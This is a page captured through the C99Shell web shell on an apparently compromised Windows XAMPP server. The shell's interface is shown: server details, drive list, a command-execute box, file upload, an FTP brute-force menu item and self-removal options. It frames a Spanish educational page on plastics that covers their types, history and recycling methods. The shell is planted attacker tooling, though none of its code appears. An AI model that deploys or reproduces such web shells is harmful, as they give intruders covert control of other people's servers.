!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\htdocs\re1\Que es\Talleres\plasticos\   dr-xr-xr-x
Free 7.26 GB of 239.26 GB (3.03%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     plasticos.htm (34.37 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Untitled Document
 

 

 

 

 


CONCEPTOS

  • Plásticos: Son polímeros, es decir, compuestos constituidos por grandes moléculas (macromoléculas), formadas por la unión de moléculas más sencillas que se repiten una y otra vez.
  • Termofijos o termoestable: Son plásticos que una vez moldeados no pueden modificar su forma.
  • Termoplásticos: Pueden ser procesados varias veces y su uso es más extendido que los termoestables. Los mas comunes son el PET de los envases de bebidas, el PVC de tuberías y envases de aceite y bebidas sin gas, y el PEBD de bolsas de leche.

Volver


HISTORIA DE LOS PLASTICOS

El primer plástico se origina como resultado de un concurso realizado en 1870 en los Estados Unidos, cuando se ofrecieron 10.000 dólares a quien produjera un sustituto de¡ marfil (pues las reservas se agotaban) para la fabricación de bolas de billar. Gano el premio Ihon Hyatt, quien inventó un tipo de plástico al que llamo celuloide.

El celuloide se fabricaba disolviendo celulosa, un hidrato de carbono obtenido de las plantas, en una solución de alcanfor, y etanol. Con él se empezaron a fabricar distintos objetos como mangos de cuchillo, armazones de lentes y película cinematográfica. El celuloide puede ser ablandado repetidamente y moldeado de nuevo mediante calor, por lo que recibe el calificativo de termoplástico.

En 1907 Leo Baeckeiand inventó la baquelita, el primer plástico calificado como termofijo o termoestable. La baquelita es aislante y resistente al agua, los ácidos y al calor moderado. Debido a estas características se extendió rápidamente a numerosos objetos de uso domestico y componentes eléctricos de uso general.

Los resultados alcanzados por los primeros plásticos incentivo a los químicos y a la industria a buscar otras moléculas sencillas que pudieran enlazarse para crear polímeros. En la década del 30, químicos ingleses descubrieron que el gas etileno polimerizaba bajo la acción del calor y la presión, formando un termoplástico al que llamaron polietileno (PE). Hacia los años 50 aparece el polipropileno (PP). Al reemplazar en el etileno un átomo de hidrógeno por uno de cloruro se produjo el cloruro de polivinilo (PVC), un plástico duro y resistente al fuego, especialmente adecuado para cañerías de todo tipo. Al agregarles diversos aditivos se logra un material más blando, sustitutivo del caucho, comúnmente usado para ropa impermeable, manteles, cortinas y juguetes. Un plástico parecido al PVC es el politetrafluoretileno (PTFE), conocido popularmente como teflón y usado para rodillos y sartenes antiadherentes.

Otro de los plásticos desarrollados en los años 30 en Alemania fue el poliestireno (PS), un material muy transparente comúnmente utilizado para vasos. El poliestireno expandido (EPS), una espuma blanca y rígida, es usado básicamente para embalaje y aislante térmico.

También en los años 30 se crea la primera fibra artificial, el nylon. Su descubridor fue el químico Walace Carothers, que trabajaba para la empresa Du Pont. Descubrió que dos sustancias químicas como el hexametilendiamina y ácido adípico podían formar un polímero que bombeado a través de agujeros y estirados podían tejerse. Su primer uso fue la fabricación de paracaídas para las fuerzas armadas estadounidenses durante la Segunda Guerra Mundial, extendiéndose rápidamente a la industria textil en la fabricación de medias y otros tejidos combinados con algodón o lana. Al nylon le siguieron otras fibras sintéticas como por ejemplo el orión y el acrilán.

En la presente década, principalmente en lo que tiene que ver con el envasado en botellas y frascos, se ha desarrollado vertiginosamente el uso del tereftalato de polietileno (PET), material que viene desplazando al vidrio y al PVC en el mercado de envases.

Volver


LOS PLÁSTICOS MAS COMUNES

Existen más de 100 tipos de plásticos, los más comunes son solo 6, y se los identifica con un número dentro de un triángulo a los efectos de facilitar su clasificación para el reciclado, ya que las características diferentes de los plásticos exigen generalmente un reciclaje por separado.

TIPO / NOMBRE CARACTERISTICAS USOS/APLICACIONES

PET

Polietileno Tereftalato

Se produce a partir del Acido Tereftálico y Etilenglicol, por poli condensación; existiendo dos tipos: grado textil y grado Botella. Para el grado botella se lo debe Post condensar, existiendo diversos colores para estos usos. Envases para gaseosas, aceites, agua mineral, aceites, frascos mayonesa, salsas, etc.). Películas transparentes, fibras textiles, laminados barrera (productos alimenticios),envases al vacío, bolsas para horno, cintas de video y audio, geotextiles (pavimentación); películas Radiográficas

PEAD

Polietileno de Afta Densidad

El polietileno de alta densidad es un termoplástico fabricado a partir del etileno (elaborado a partir del etano, uno de los componentes del gas natural). Es muy versátil y se lo puede transformar de diversas formas: Inyección, Soplado, Extrusión, o Rotomoldeo. Envases para: detergentes, lavandina, aceites automotor, shampoo, lácteos, bolsas para supermercados, bazar y cajones para pescados, gaseosas y cervezas, baldes para pintura, helados, aceites tambores, caños para gas, telefonía, agua potable, minería, drenaje y uso sanitario.

PVC

Cloruro de Polivinilo

Se produce a partir de dos materias primas naturales: gas 43% y sal común (*) 57%. Para su procesado es necesario fabricar compuestos con aditivos especiales, que permiten obtener productos de variadas propiedades para un gran número de aplicaciones. Se obtienen productos rígidos o totalmente flexibles (Inyección - Extrusión - Soplado). Envases para agua mineral, aceites, jugos, mayonesa. Perfiles para marcos de ventanas, puertas, tuberías de desagües mangueras, pilas, juguetes, envolturas para golosinas, películas flexibles para envasado (carnes, fiambres, verduras), cobertura, cables, cuerina, papel vinílico (decoración), catéteres, bolsas para sangre.

PEBD

Polietileno de baja densidad

Se produce a partir del gas natural. Al igual que el PEAD es de gran versatilidad y se procesa de diversas formas: Inyección, Soplado, Extrusión y Rotomoldeo.

Su transparencia, flexibilidad, tenacidad y economía hacen que esté presente en una diversidad de envases, sólo o en conjunto con otros materiales .

Bolsas de todo tipo: supermercados, panificación, congelados, industriales, etc. Películas para: Agro (recubrimiento de Acequias), envasamiento automático de alimentos y productos industriales (leche, agua, plásticos, etc.). Streech film, base para pañales desechables. Bolsas para suero, contenedores herméticos domésticos. Tubos y pomos (cosméticos, medicamentos y alimentos), tuberías para riego.

PP

Polipropileno

El PP es un termoplástico que se obtiene por polimerización del propileno. Los copolímeros se forman agregando etileno durante el proceso. El PP es un plástico rígido de alta cristalinidad y alto Punto de Fusión, buena resistencia química y de menor densidad. Al adicionarle distintas cargas (talco, caucho, fibra de vidrio, etc.), se potencian sus propiedades hasta cambiarlo en un polímero de ing. (El PP es transformado en la industria por los Procesos de inyección, soplado y extrusión / termoformado.) Película/Film (para alimentos, snacks, cigarrillos, chicles, golosinas, indumentaria). Bolsas tejidas (para papas, cereales). Envases industriales Big Bag). Hilos cabos, cordelería. Tubería para agua caliente. Jeringas desechables. Tapas en general, envases. Baldes para pintura, helados. Envases para margarina. Fibras para tapicería, cubrecamas, etc. Telas no tejidas (pañales desechables).

PS

Poliestireno

PS Cristal: Es un polímero de estireno monómero (derivado del petróleo), cristalino y de alto brillo. PS Alto Impacto: Es un polímero de estireno monómero con oclusiones de Polibutadieno que le confiere alta resistencia al impacto. Ambos PS son fácilmente moldeables a través de procesos de: Inyección, Extrusión/ Termoformado, Soplado. Envases para lácteos (yoghurt, postres, etc.), helados, dulces, etc. Envases varios, vasos, bandejas de supermercados. Heladeras: contrapuertas, anaqueles. Cosmética: envases, máquinas de afeitar desechables. Bazar: platos, cubiertos, bandejas, etc. Juguetes, cassettes, etc. Aislantes: planchas de PS espumado.

Volver


RECICLAJE

Hay cuatro tipos de reciclaje de plásticos: primario, secundario, terciario y cuaternario. El conocer cual de estos tipos se debe usar depende de factores tales como la limpieza y homogeneidad del material, y el valor del material de desecho y de la aplicación final.

Reciclaje primario

El reciclaje primario consiste en la conversión del desecho plástico en artículos con propiedades físicas y químicas idénticas a las del material original. El reciclaje primario se hace con termoplásticos como PET (Polietilentereftalato), HDPE (polietileno de alta densidad), LDPE (polietileno de baja densidad), PP (polipropileno), PS (Poliestireno) y PVC (Cloruro de polivinilo). Las propiedades de los termoplásticos son la base de este reciclaje primario debido a la habilidad de los termoplásticos de refundiese a bajas temperaturas sin ningún cambio en su estructura ya que tienen moléculas que se encuentran en un alineamiento casi paralelo.

Procesos del reciclaje primario

  1. Separación: Los métodos de separación pueden ser clasificados en separación macro, micro y molecular. La macro separación se hace sobre el producto completo usando el reconocimiento óptico de¡ color o la forma. La micro separación puede hacerse por una propiedad física especifica tamaño, peso, densidad, etc.
  2. Limpieza: Los plásticos separados están generalmente contaminados con comida, papel, piedras, polvo, pegamento. De ahí que tienen que ser primeros limpiados al granularseles y luego lavar ese granulado en un baño de detergente. Otra opción de limpiar es la de granular los plásticos repetidamente e irlo desechando sobre pantallas móviles (el plástico contaminado es removido y al ser ligero, flota en la superficie donde es expulsado mientras los contaminantes caen al fondo y se descargan. El resultado de esta limpieza se llama granulado limpio o hojuelas limpias.
  3. Peletizado: Para esto, el granulado debe fundirse y pasarse a través de un tubo delgado para tomarla forma de spaguetti al enfriarse en un baño de agua. Una vez frío, es cortado en pedacitos llamadas pellets.

Reciclaje secundario

Este tipo convierte al plástico en artículos con propiedades que son inferiores a las del polímero original. Ejemplos de plásticos recuperados por esta forma son los termoestables o plásticos contaminados. Este proceso elimina la necesidad de separar y limpiar los plásticos, en vez de esto mezcla los plásticos incluyendo tapas de aluminio, papel, polvo, etc, se muelen y funden juntas dentro de un extrusor. Los plásticos pasan por un tubo con una gran abertura hacia un baño de agua y fuego son cortados a varias longitudes dependiendo de las especificaciones del cliente.

Reciclaje terciario

Este tipo de reciclaje degrada el polímero a compuestos químicos básicos y combustible. Es diferente de los dos primeros por que involucro además de un cambio físico un cambio químico. En este reciclaje terciario las largas cadenas de] polímero se rompen en pequeños hidrocarburos (monómeros) monóxido de carbono e hidrogeno. Hoy en día el reciclaje terciario cuenta con dos métodos principales : pirólisis y gasificación.

  • Pirólisis: Al calentar los hidrocarburos de cadena larga en ausencia de oxigeno, estas se rompen en pequeñas moléculas. La ventajas de la pirólisis son que no involucro un paso de separación y recupera los plásticos en sus materias primas, de manera que, se pueden rehacer polímeros puros con mejores propiedades y menos contaminación.
  • Gasificación: Tiene el mismo principio de la piróligis; por calentamiento convierte las grandes cadenas de carbono en pequeñas moléculas, pero en condiciones más drásticas (temperaturas arriba de los 900º y presiones arriba de los 60 bares). El gas de síntesis obtenido de la gasificación puede ser usado para producir electricidad, metanol o amoniaco.

Reciclaje cuaternario

Consiste en el calentamiento del plástico con el objeto de usar la energía térmica liberada de este proceso para llevar a cabo otros proceso, es decir el plástico es usado como combustible para reciclar energía. La ventajas; mucho menos espacio ocupado en los rellenos sanitarios , la recuperación de metales y el manejo de diferentes cantidades de desechos. Sin embargo algunas de sus desventajas son la generación de contaminantes gaseosos.

Volver


Alternativa RE - Bioevolución en el Aula

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0468 ]--